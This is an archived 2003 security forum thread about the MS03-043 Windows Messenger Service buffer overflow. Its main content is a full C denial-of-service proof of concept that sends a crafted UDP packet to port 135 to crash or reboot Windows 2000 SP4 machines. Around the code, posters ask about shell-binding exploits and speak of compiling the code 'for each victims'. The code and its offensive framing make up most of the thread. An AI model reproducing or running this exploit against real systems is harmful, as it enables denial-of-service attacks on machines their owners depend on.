Messenger

Full Version: Messenger

GovernmentSecurity.org > The Archives > Exploit Articles

Thom

Oct 19 2003, 04:24 PM

Any chance there will be a messenger exploit witch will actually allow you to exec commands? Like binding a shell? .... It just affectes win2k SP4, right?

ScriptGod

Oct 19 2003, 05:02 PM

there is another discussions about this topic!
http://forums.governmentsecurity.org/index...?showtopic=3519

this bug "allows code execution" so it's possible! just wait until some exploit get's public

Gurou

Oct 19 2003, 05:15 PM

http://www.k-otik.com/exploits/10.18.MS03-043.c.php

Neo-Tokyo

Oct 19 2003, 08:23 PM

CODE

/*

DoS Proof of Concept for MS03-043 - exploitation shouldn't be too hard.
Launching it one or two times against the target should make the
machine reboot. Tested against a Win2K SP4.

"The vulnerability results because the Messenger Service does not
properly validate the length of a message before passing it to the allocated
buffer" according to MS bulletin. Digging into it a bit more, we find that when
a character 0x14 in encountered in the 'body' part of the message, it is
replaced by a CR+LF. The buffer allocated for this operation is twice the size
of the string, which is the way to go, but is then copied to a buffer which
was only allocated 11CAh bytes. Thanks to that, we can bypass the length checks
and overflow the fixed size buffer.

Credits go to LSD :)

*/

#include <stdio.h>
#include <winsock.h>
#include <string.h>
#include <time.h>

// Packet format found thanks to a bit a sniffing
static unsigned char packet_header[] =
"\x04\x00\x28\x00"
"\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0"
"\x4f\xb6\xe6\xfc"
"\xff\xff\xff\xff" // @40 : unique id over 16 bytes ?
"\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\xff\xff\xff\xff"
"\xff\xff\xff\xff" // @74 : fields length
"\x00\x00";

// Exploit downloaded on www.k-otik.com
unsigned char field_header[] =
"\xff\xff\xff\xff" // @0 : field length
"\x00\x00\x00\x00"
"\xff\xff\xff\xff"; // @8 : field length

int main(int argc,char *argv[])
{
int i, packet_size, fields_size, s;
unsigned char packet[8192];
struct sockaddr_in addr;
// A few conditions :
// 0 <= strlen(from) + strlen(machine) <= 56
// max fields size 3992
char from[] = "RECCA";
char machine[] = "ZEUS";
char body[4096] = "*** MESSAGE ***";

WSADATA wsaData;

WSAStartup(0x0202, &wsaData);

ZeroMemory(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("192.168.186.3");
addr.sin_port = htons(135);

ZeroMemory(packet, sizeof(packet));
packet_size = 0;

memcpy(&packet[packet_size], packet_header, sizeof(packet_header) -
1);
packet_size += sizeof(packet_header) - 1;

i = strlen(from) + 1;
*(unsigned int *)(&field_header[0]) = i;
*(unsigned int *)(&field_header[8]) = i;
memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
packet_size += sizeof(field_header) - 1;
strcpy(&packet[packet_size], from);
packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

i = strlen(machine) + 1;
*(unsigned int *)(&field_header[0]) = i;
*(unsigned int *)(&field_header[8]) = i;
memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
packet_size += sizeof(field_header) - 1;
strcpy(&packet[packet_size], machine);
packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

fprintf(stdout, "Max 'body' size (incl. terminal NULL char) = %d\n",
3992 - packet_size + sizeof(packet_header) - sizeof(field_header));
memset(body, 0x14, sizeof(body));
body[3992 - packet_size + sizeof(packet_header) - sizeof(field_header)
- 1] = '\0';

i = strlen(body) + 1;
*(unsigned int *)(&field_header[0]) = i;
*(unsigned int *)(&field_header[8]) = i;
memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
packet_size += sizeof(field_header) - 1;
strcpy(&packet[packet_size], body);
packet_size += i;

fields_size = packet_size - (sizeof(packet_header) - 1);
*(unsigned int *)(&packet[40]) = time(NULL);
*(unsigned int *)(&packet[74]) = fields_size;

fprintf(stdout, "Total length of strings = %d\nPacket size =
%d\nFields size = %d\n", strlen(from) + strlen(machine) + strlen(body),
packet_size, fields_size);

/*
for (i = 0; i < packet_size; i++)
{
if (i && ((i & 1) == 0))
fprintf(stdout, " ");
if (i && ((i & 15) == 0))
fprintf(stdout, "\n");
fprintf(stdout, "%02x", packet[i]);
}
fprintf(stdout, "\n");
*/
if ((s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
exit(EXIT_FAILURE);

if (sendto(s, packet, packet_size, 0, (struct sockaddr *)&addr,
sizeof(addr)) == -1)
exit(EXIT_FAILURE);
/*
if (recvfrom(s, packet, sizeof(packet) - 1, 0, NULL, NULL) == -1)
exit(EXIT_FAILURE);
*/

exit(EXIT_SUCCESS);
}

n4than_69

Oct 20 2003, 04:12 AM

it gives "stray \240 in program error"
and "invalid conversion from" errors
whats wrong?

KoNh

Oct 20 2003, 05:21 AM

header needs very slight addition no bother is only
DoS and u would compile it for each victims...

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.